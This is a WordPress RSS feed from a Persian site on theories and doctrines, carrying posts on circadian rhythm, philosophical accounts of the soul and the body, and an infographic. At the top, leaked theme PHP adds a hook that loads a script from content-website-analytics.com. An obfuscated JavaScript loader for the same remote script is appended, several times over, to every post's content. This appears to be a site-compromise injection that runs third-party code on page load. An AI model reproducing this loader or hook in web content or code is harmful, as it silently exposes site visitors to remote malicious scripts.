/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>بدن &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d8%a8%d8%af%d9%86/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:57:58 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>بدن &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>نظریه ساعت زیستی</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b3%d8%a7%d8%b9%d8%aa-%d8%b2%db%8c%d8%b3%d8%aa%db%8c/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b3%d8%a7%d8%b9%d8%aa-%d8%b2%db%8c%d8%b3%d8%aa%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Wed, 01 Feb 2023 18:08:24 +0000</pubDate>
				<category><![CDATA[علوم پایه]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[پزشکی]]></category>
		<category><![CDATA[خواب]]></category>
		<category><![CDATA[ساعت زیستی]]></category>
		<category><![CDATA[علوم اجتماعی]]></category>
		<category><![CDATA[نظریه]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6944</guid>

					<description><![CDATA[<p>نظریه ساعت زیستی نظریه ساعت زیستی ؛ از زمان پرداخته شدن فرضیه این تاکنون کارهای زیادی در خصوص ساعت زیستی انجام شده است. اکنون می‏دانیم که ساعت زیستی یک سامانه زمان سنجی درونی است که سوخت و ساز را در تمام اشکال حیات تنظیم می‏کند. برخی از کارکردهای گیاهان با نور خورشید تنظیم نمی‏شود، بلکه [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b3%d8%a7%d8%b9%d8%aa-%d8%b2%db%8c%d8%b3%d8%aa%db%8c/">نظریه ساعت زیستی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h4>نظریه ساعت زیستی</h4>
<p>نظریه ساعت زیستی ؛ از زمان پرداخته شدن فرضیه این تاکنون کارهای زیادی در خصوص ساعت زیستی انجام شده است. اکنون می‏دانیم که ساعت زیستی یک <a href="https://en.wikipedia.org/wiki/Circadian_rhythm" target="_blank" rel="noopener noreferrer">سامانه زمان سنجی درونی</a> است که سوخت و ساز را در تمام اشکال حیات تنظیم می‏کند. برخی از کارکردهای گیاهان با نور خورشید تنظیم نمی‏شود، بلکه ساز و کاری در درون گیاهان آنها را نظم می‏بخشند.</p>
<p><img class="wp-image-6945 aligncenter" src="https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main-300x300.png" alt="نظریه ساعت زیستی" width="291" height="291" srcset="https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main-300x300.png 300w, https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main-150x150.png 150w, https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main-100x100.png 100w, https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main-120x120.png 120w, https://theorium.net/wp-content/uploads/2023/02/Circadian-rhythm-main.png 600w" sizes="(max-width: 291px) 100vw, 291px" /></p>
<h6>نقش یاخته ­های فیزیولوژیکی در نظریه ساعت زیستی</h6>
<p>مشاهده شده است که صدها نقش یاخته‏ای، فیزیولوژیکی و رفتاری از چرخه ۲۴ ساعته در وجود آدمی پیروی می‏کند. به همین دلیل ساعت زیستی را نواخت شبانه روزی (circadian rhythm) نیز می‏نامند. نواخت شبانه روزی با مفهوم عامیانه و شبه علمی بیوریتم ربطی ندارد. دمای بدن نمونه خوبی از نواخت شبانه روزی است. دمای متعارف بدن ۳۷ درجه سانتی گراد است، ولی دمای بدن اشخاص سالم در طی ۲۴ ساعت ۵/۳۵ تا ۵/۳۸ درجه سانتی‏گراد است. در اولین ساعات صبح دمای بدن در کمترین حد خود است و در بعد از ظهر و اوایل عصر به بالاترین حد می‏رسد.</p>
<h6>اختلال پرواز و نقش نظریه ساعت زیستی</h6>
<p>خستگی پرواز یا خستگی ناشی از اختلاف ساعت (Jet lag) و مشکلات بهداشتی ناشی از کار در نوبت‏های چرخشی شغلی بیشتر ناشی از مبارزه بدن با نواخت شبانه‏روزی است، همان ساعت حساس به نور که چرخۀ خواب را تنظیم می‏کند. ساعت‏های معیوب می‏توانند سبب افسردگی و اختلال در خواب شوند.</p>
<p>مدت نواخت شبانه‏روزی به ندرت دقیقاً ۲۴ ساعت است، ولی بین ۲۳ و ۲۵ ساعت تغییر می‏کند. چرخه خواب ـ بیداری درونی انسان حدود ۲۵ ساعت است. به علت چرخه خواب ـ بیداری ۲۵ ساعتی، انسان‏ها ساعت خواب را پیوسته روزی یک ساعت جلو می‏کشند تا آن را با برنامه ۲۴ ساعته زمین تطابق دهند. اما وقتی انسان‏ها دوره کاری خود را تغییر می‏دهند، تغییر در چرخه خواب ـ بیداری بسیار چشم‏گیر است. کل سامانه همزمانی خودش را از دست می‏دهد و چرخه ۲۴ ساعتی را به جلو می‏کشد تا اینکه دوباره به نظم درآید.</p>
<p>همین بی‏همزمانی است که علت خستگی پرواز به شمار می‏آید زیرا چرخه ۲۴ ساعته خواب ـ بیداری به طور طبیعی سعی دارد خواب را به تأخیر اندازد، زیرا تطابق با برنامه کاری که ایجاب می‏کند تا دیرتر از حد معمول بیدار باشیم ـ که یک چرخش به جلو است ـ تا حدودی آسان‏تر است.</p>
<h6>نظریه ساعت زیستی و سازگاری با محیط</h6>
<p>ساعت زیستی موجودات را قادر می‏سازد تا با محیط خود سازگار شوند. بدون آن بقای آن‏ها در محیطی متخاصم میسر نخواهد بود. از آنجایی که تمام صورت‏های حیات دارای ساعت زیستی‏اند و برخورداری این ساعت برای آن‏ها مزیتی است، احتمال می‏رود که در طی تکامل ایجاد شده باشد. مثلاً، در مهره داران ساعت زیستی بیش از ۲۴۰ میلیون سال پیش از این ایجاد شده است.</p>
<p>اگر ما واقعاً یک ساعت زیستی در وجود ماست، پس در کجا قرار دارد؟ در پستانداران، از جمله انسان، این ساعت در هیپوتالاموس مغز در تعداد کمی از یاخته‏ها به نام هسته سوپراکیاسماتیک (SCN) قرار دارد. هسته سوپراکیاسماتیک نزدیک عصب بینایی قرار دارد و به طور مستقیم به چشم‏ها متصل است. هسته سوپراکیاسماتیک در بافت‏های دیگر بدن هم کشف شده است.</p>
<h6>نظریه ساعت زیستی و هسته سوپراکیاسماتیک</h6>
<p>هسته سوپراکیاسماتیک فقط بخشی از محور شبانه روزی است؛ دو جزء دیگر آن غده صنوبری  (Pineal Gland)که در تاریکی هورمون ملاتونین را تولید می‏کند) و شبکیه چشم است. در بعضی افراد ترشح زیاد ملاتونین در طی شب‏های تاریک و طولانی و روزهای (تاریک) زمستان می‏تواند حالتی به نام اختلال عاطفی فصلی یا غم‏ زمستانی ایجاد کند. این حالت افسردگی را می‏توان با مجاورت با نور روشن مناسب درمان کرد.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b3%d8%a7%d8%b9%d8%aa-%d8%b2%db%8c%d8%b3%d8%aa%db%8c/">نظریه ساعت زیستی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%b3%d8%a7%d8%b9%d8%aa-%d8%b2%db%8c%d8%b3%d8%aa%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>نظریه اتصال روح به بدن مثالی منفصل</title>
		<link>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/</link>
					<comments>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Tue, 03 May 2022 15:25:50 +0000</pubDate>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[علوم باطنی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[بدن مثالی]]></category>
		<category><![CDATA[دکترین ها]]></category>
		<category><![CDATA[روح]]></category>
		<category><![CDATA[زندگی]]></category>
		<category><![CDATA[موجودیت روحی]]></category>
		<category><![CDATA[نظریات علوم باطنی]]></category>
		<category><![CDATA[نظریه اتصال]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6635</guid>

					<description><![CDATA[<p>این نظریه در رابطه با زندگی روح انسان ایده هایی دارد&#8230; مختصات نظریه اتصال روح به بدن مثالی منفصل؛ الف- آدمی از حیث ساختار جسمی، روحی فقط دو زندگی اول و نهایی را دارد و زندگی میان های از جهت یاد شده در كار نیست. ب- در زندگی اول كه موقتی است روح با بدن [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/">نظریه اتصال روح به بدن مثالی منفصل</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>این نظریه در رابطه با زندگی روح انسان ایده هایی دارد&#8230;</p>
<h6>مختصات نظریه اتصال روح به بدن مثالی منفصل؛</h6>
<p>الف- آدمی از حیث ساختار جسمی، روحی فقط دو زندگی اول و نهایی را دارد و زندگی میان های از جهت یاد شده در كار نیست.</p>
<p>ب- در زندگی اول كه موقتی است روح با بدن خاكی به سر می برد و با ورود به زندگی نهایی بدن خاكی را برای همیشه خلع می كند و با بدن جدیدی به سر خواهد برد.</p>
<p>ج- بدن دوم كه در عالم دیگر قرار دارد هیچ گونه ارتباط وجود شناختی با بدن اول ندارد و فقط از حیث شكل و هیات به مانند آن است. قهرا بدن دوم می تواند ویژگی هایی متفاوت با بدن اول داشته باشد.</p>
<p>د- با توجه به بند(ج) دست كم در مقطع خلع بدن اول و اتصال به بدن دوم، روح بدون بدن خواهد بود.</p>
<p><a href="https://theorium.net/category/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%87%d8%a7-%d9%88-%d8%af%da%a9%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7/%d8%b9%d9%84%d9%88%d9%85-%d8%a8%d8%a7%d8%b7%d9%86%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6637" src="https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-300x159.jpg" alt="" width="300" height="159" srcset="https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-300x159.jpg 300w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-768x407.jpg 768w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife-600x318.jpg 600w, https://theorium.net/wp-content/uploads/2022/05/lanza-afterlife.jpg 1000w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>جایگاه مرگ در نظریه اتصال روح به بدن مثالی منفصل؛</h6>
<p>طبق این دیدگاه، روح پس از مرگ بدن فانی نمی شود و هیچ اختلافی در ناحیه روح، در پیش از مرگ و پس از مرگ وجود ندارد. آری، روح پس از خلع بدن مادی، در عالم مثال با قالبی مثالی حاضر می شود كه همچون صورت حاصل در آینه است، ولی صورتی است جوهری و قائم به ذات.</p>
<p>بنابراین، ملاك هویت در روح ثابت است، زیر</p>
<p>ا روح وارد شده در عالم صوی(عالم مثال) عینا همان روحی است كه در عالم مادی با بدن خاكی بود و ملاك هویت در ناحیه جسد یا بدن به اتحاد روح است، یعنی همان روحی كه به بدن خاكی تعلق داشت به بدن مثالی تعلق گرفته است.</p>
<p>اما <span style="color: #000000;"><a style="color: #000000;" href="https://en.wikipedia.org/wiki/Etheric_body" target="_blank" rel="noopener noreferrer">بدن مثالی</a></span> عیناً بدن این جهانی شخص نیست بلكه بدنی دیگر است كه با بدن او مباینت و جدایی دارد. به تعبیر دیگر وجود چنین بدن مثالی، وجود آن بدن موجود در این جهان نیست و تشخص آنها به یك تشخص نمی باشد.</p>
<p>نتجه آنكه اگر انسان را موجودی روحی، جسمی تلقی كنیم دست كم هویت در ناحیه بدن وی، بر اساس این نظریه تامین نمی شود . . .<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/">نظریه اتصال روح به بدن مثالی منفصل</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%aa%d8%b5%d8%a7%d9%84-%d8%b1%d9%88%d8%ad-%d8%a8%d9%87-%d8%a8%d8%af%d9%86-%d9%85%d8%ab%d8%a7%d9%84%db%8c-%d9%85%d9%86%d9%81%d8%b5%d9%84/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>عدم تجسد موقت یا عود روح به بدن؛</title>
		<link>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/</link>
					<comments>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 30 Apr 2022 06:59:39 +0000</pubDate>
				<category><![CDATA[علوم باطنی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[استفان دیویس]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[دکترین ها]]></category>
		<category><![CDATA[رستاخیز]]></category>
		<category><![CDATA[روح]]></category>
		<category><![CDATA[عدم تجسد]]></category>
		<category><![CDATA[عود روح به بدن]]></category>
		<category><![CDATA[نظریات علوم باطنی]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6627</guid>

					<description><![CDATA[<p> عدم تجسد موقت یا عود روح به بدن؛ عدم تجسد موقت یا عود روح به بدن؛ از دیدگاه این نظریه هویت شخصی كاملا بر عهده روح نیست، هر چند در برهه ای از زمان، ما بدون بدن خواهیم بود. عدم تجسد بر این باور متكی است كه انسان موجودی فراهم آمده از جسم مادی و [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/">عدم تجسد موقت یا عود روح به بدن؛</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h6><span style="color: #000000;"> عدم تجسد موقت یا عود روح به بدن؛</span></h6>
<p><span style="color: #000000;">عدم تجسد موقت یا عود روح به بدن؛ از دیدگاه این نظریه هویت شخصی كاملا بر عهده روح نیست، هر چند در برهه ای از زمان، ما بدون بدن خواهیم بود.</span></p>
<p><span style="color: #000000;">عدم تجسد بر این باور متكی است كه انسان موجودی فراهم آمده از جسم مادی و روح غیرمتجسد است. به طوری كه روح می تواند بدون بدن باشد؛ اما هیچ یك به تنهایی، یك انسان كامل به شمار نمی آید.</span></p>
<p><span style="color: #000000;">نفس انسان، انسان نیست، بدن انسان هم انسان نیست؛ این دو هر یك جزئی از انسان اند و انسان به تمام ساحت های وجودی خود هم در زندگی آغازین به وجود آمده و هم در زندگی نهایی مستقر خواهد گشت.</span></p>
<p><span style="color: #000000;"><a style="color: #000000;" href="https://theorium.net/category/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%87%d8%a7-%d9%88-%d8%af%da%a9%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7/%d8%b9%d9%84%d9%88%d9%85-%d8%a8%d8%a7%d8%b7%d9%86%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter wp-image-6628 size-medium" src="https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-300x300.jpg" alt="عود روح به بدن" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2022/04/عدم-تجسد.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></span></p>
<h6><span style="color: #000000;">انسان در زندگی میانی؛</span></h6>
<p><span style="color: #000000;">بنابراین زندگی میانی، كه روح آدمی بدون بدن است، شكل ناقصی از وجود انسانی است. نكته دیگری كه در نظریه دیویس به چشم میخورد این است كه وی هر چند بدن رستاخیزی را همان بدن دنیوی خاكی میداند اما معتقد است كه بدنهای خاكی ما به بدنی شكوهمند تبدیل می شود و با روح ما پیوند مجدد پیدا می كند.</span></p>
<p><span style="color: #000000;">می توان دیدگاه دیویس را به سه بخش تفكیك كرد:</span></p>
<ol>
<li><span style="color: #000000;">روح پس از مرگ بدن، در زندگی میانی، برای مدتی به حیات خود بدون بدن ادامه می دهد.</span></li>
<li><span style="color: #000000;">در هنگام رستاخیز یا طلیعه زندگی غایی، بدن ما از خاك برانگیخته شده بار دیگر با روح متحد می شود.</span></li>
<li><span style="color: #000000;">پس از حصول وحدت میان نفس و بدن، بدن به آن چیزی كه بدن شكوهمند نام دارد، مبدل می شود.</span></li>
</ol>
<p><span style="color: #000000;">وجه قوت <a style="color: #000000;" href="https://link.springer.com/chapter/10.1007%2F978-1-349-10526-7_5" target="_blank" rel="noopener noreferrer">نظریه ای </a>که استفان دیویس ارائه داده است در این است که بر اساس این نظریه می توان به تفاوتی میان بدن كنونی و بدن رستاخیزی تصویر کرد.</span></p>
<p><span style="color: #000000;">این تفاوت بر اساس این نظریه به شکلی خواهد بود که  بدن رستاخیزی با لوازم زندگی جاوید سازگار خواهد بود و بدن کنونی با لوازم زندگی فعلی سازگار است.</span><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/">عدم تجسد موقت یا عود روح به بدن؛</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%b9%d8%af%d9%85-%d8%aa%d8%ac%d8%b3%d8%af-%d9%85%d9%88%d9%82%d8%aa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>اینفوگرافیک؛ اتفاقات درون بدن</title>
		<link>https://theorium.net/%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9-%d8%a7%d8%aa%d9%81%d8%a7%d9%82%d8%a7%d8%aa-%d8%af%d8%b1%d9%88%d9%86-%d8%a8%d8%af%d9%86/</link>
					<comments>https://theorium.net/%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9-%d8%a7%d8%aa%d9%81%d8%a7%d9%82%d8%a7%d8%aa-%d8%af%d8%b1%d9%88%d9%86-%d8%a8%d8%af%d9%86/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 18 Apr 2020 09:19:50 +0000</pubDate>
				<category><![CDATA[اینفوگرافیک]]></category>
		<category><![CDATA[کتابخانه]]></category>
		<category><![CDATA[بدن]]></category>
		<category><![CDATA[ساعت]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5276</guid>

					<description><![CDATA[<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9-%d8%a7%d8%aa%d9%81%d8%a7%d9%82%d8%a7%d8%aa-%d8%af%d8%b1%d9%88%d9%86-%d8%a8%d8%af%d9%86/">اینفوگرافیک؛ اتفاقات درون بدن</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-5882" src="https://theorium.net/wp-content/uploads/2020/04/Body-300x300.png" alt="Body" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/04/Body-300x300.png 300w, https://theorium.net/wp-content/uploads/2020/04/Body-150x150.png 150w, https://theorium.net/wp-content/uploads/2020/04/Body-100x100.png 100w, https://theorium.net/wp-content/uploads/2020/04/Body-120x120.png 120w, https://theorium.net/wp-content/uploads/2020/04/Body-520x520.png 520w, https://theorium.net/wp-content/uploads/2020/04/Body.png 600w" sizes="(max-width: 300px) 100vw, 300px" /><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9-%d8%a7%d8%aa%d9%81%d8%a7%d9%82%d8%a7%d8%aa-%d8%af%d8%b1%d9%88%d9%86-%d8%a8%d8%af%d9%86/">اینفوگرافیک؛ اتفاقات درون بدن</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a7%db%8c%d9%86%d9%81%d9%88%da%af%d8%b1%d8%a7%d9%81%db%8c%da%a9-%d8%a7%d8%aa%d9%81%d8%a7%d9%82%d8%a7%d8%aa-%d8%af%d8%b1%d9%88%d9%86-%d8%a8%d8%af%d9%86/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>